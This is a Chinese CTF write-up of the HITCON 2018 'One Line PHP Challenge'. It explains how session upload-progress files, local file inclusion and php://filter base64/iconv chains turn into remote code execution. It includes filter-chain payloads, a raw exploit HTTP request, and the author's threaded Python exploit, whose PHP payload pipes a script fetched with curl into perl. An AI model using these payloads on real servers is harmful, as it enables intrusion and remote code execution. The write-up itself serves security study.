HITCON2018-One Line PHP Challenge

题目

wp都看不懂,硬着头皮看。
图片.png

源码

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

Hint: Don't guess. This is the default PHP7.2 + Apache2 installation on Ubuntu 18.04

PHP < 7.2异常退出的bug

https://www.jianshu.com/p/dfd049924258

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

可以导致 php 在执行过程中 Segment Fault。
本地文件包含漏洞可以让 php 包含自身从而导致死循环,然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
ps: 这个bug的原因是有一处空指针引用

但是这里题目给的环境是php7.2,并且ubuntu17之后使用Systemd托管apache和php-fpm,tmp目录被分离开来。因此这个bug在这里并不使用。

session.upload

Session 上传进度:http://php.net/manual/zh/session.upload-progress.php

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。
ession.upload_progress.enabled这个参数在php.ini 默认开启,需要手动置为Off
如果不是Off,就会在上传的过程中生成上传进度文件,它的存储路径可以在phpinfo获取到

/var/lib/php/sessions/sess_{your_php_session_id}

且文件开头为upload_progress_
图片.png

也就是说当我们不断的post一个与session.upload_progress.name同名的变量,就会在储存路径下不断刷新生成包含恶意php代码的文件。
例如在本地我们post一个这样的数据包
图片.png
可以看一下生成的session上传进度文件内容
图片.png

upload_progress_111111111111111111|a:5:{s:10:"start_time";i:1540949179;s:14:"content_length";i:4551;s:15:"bytes_processed";i:4551;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"123123";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540949179;s:15:"bytes_processed";i:0;}}}

所以这个上传进度文件名格式为:sess_+PHPSESSID。内容格式为php.ini中session.upload_progress.prefix的值+变量PHP_SESSION_UPLOAD_PROGRESS的值+一些与上传进度文件有关的序列化值
然后我们可以通过LFI包含这个文件即可getshell。

php://filter

过滤器

string.strip_tags 将数据流中的所有html标签清除
convert.iconv.* (转换编码)
convert.base64-en(de)code
string.rot13

string.strip_tags

<?php
echo strip_tags("<testsss>upload_progress_<?php dasda?>123");
?>

upload_progress_123 

思路

通过不断post上传文件,然后利用本地文件包含getshell。但是题目要求orange的前6个字节为@<?php,而生成的进度文件开头为upload_progress_。如果利用编码去碰撞6字节的话,复杂度相当大。
我们可以只碰撞第一字节为<(标签的起始),后面的可控部分用一个>闭合掉它,然后用一次strip_tags,再解码即可。

跟着wp走

后面的操作我是操作不出来,看大佬的过程好了:https://hackmd.io/s/SkxOwAqiQ#
base64可解码成<的范围是PA-PP,rot13后是CN-CC,所以只要前两字节在上面的任意范围内就可以通过filter解码出<

且过程中一定要保持大部分可逆,base64decode在块不满的情况下或者中间出现不可解字符的情况下会丢失信息,所以要保持全程的字节数不变,初始数据为整块的形式,base64操作(en,de)对合。

最终构造出
图片.png
加密算法:

php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd

逆算法

php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xxx

然后使用逆算法编码整块的>+(编码后的可控部分)即>@<?php eval(xxx);?>//aaa...
然后就是将结果生成文件
图片.png

data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF

去掉upload_progess_前缀输出到文件中。
然后构造数据报用多线程跑

POST /?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); HTTP/1.1
Host: 54.250.246.238
Proxy-Connection: keep-alive
Content-Length: 27912
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: §null§
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

生成的文件内容(parse from file)
(注意这里补充一些没用的数据,只有文件够大,才会产生有内容的上传进度文件)
------WebKitFormBoundary2rwkUEtFdqhGMHqV--

orange师傅的exp

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool



HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'

headers = {
    'Connection': 'close', 
    'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'


while 1:
    junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        payload = xxx
        print payload
        break

def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
    }
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()

def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
    # print filename
    while 1:
        url = '%s?orange=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.content
        if c and 'orange' not in c:
            print [c]


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

可以看一下runner1的数据包
图片.png
orange师傅也没有给wp,我的理解是:
进度文件头是upload_progess_,而要求的文件头为@<?php,可以利用base64decode在块不满的情况下或者中间出现不可解字符的情况下会丢失信息,来将前面的文件头给消除掉。
跟上面的思路大同小异,不过这里的过程比较简单。
base64编码过程
图片.png
base64解码过程:先去掉末尾补充的=,然后转化为2进制,再去掉每6个bit中前两个bit的0,然后再把数据3字节分为一组,再进行ASCII解码。
具体的构造过程我是想不出来,太菜了。
然后利用不断的POST上传文件包,再利用进度文件/var/lib/php/sessions/sess_SESSIONID进行LFI来getshell。

刚看到了orange师傅的wp:https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html?m=1
图片.png
图片.png
我的理解思路是正确的,只是利用base64编码消除前缀这个操作没有讲的很详细。

利用base64_decode()容错机制吞掉非法字符

三个白帽有一道也是这个思路
P神在博客中讲过:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。
可以使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除"死亡exit"。
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。这点在上面提到过

所以,一个正常的base64_decode实际上可以理解为如下两个步骤:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有phpexit和我们传入的其他字符。
phpexit一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个a一共8个字符。这样,phpexita被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。
图片.png
同样的,这道题目中upload_progress_一共16个字符,两个_不符合base64编码的范围,所以就是14个字符,因为base64算法解码时是4个byte一组,所以再添加两个字节以免他吃掉后面的@。然后通过三次解码,逐渐把解码出来的不可打印字符全部忽略掉。直到最后剩下@<?php......

Referer

One Line PHP Challenge
https://xz.aliyun.com/t/2148#toc-2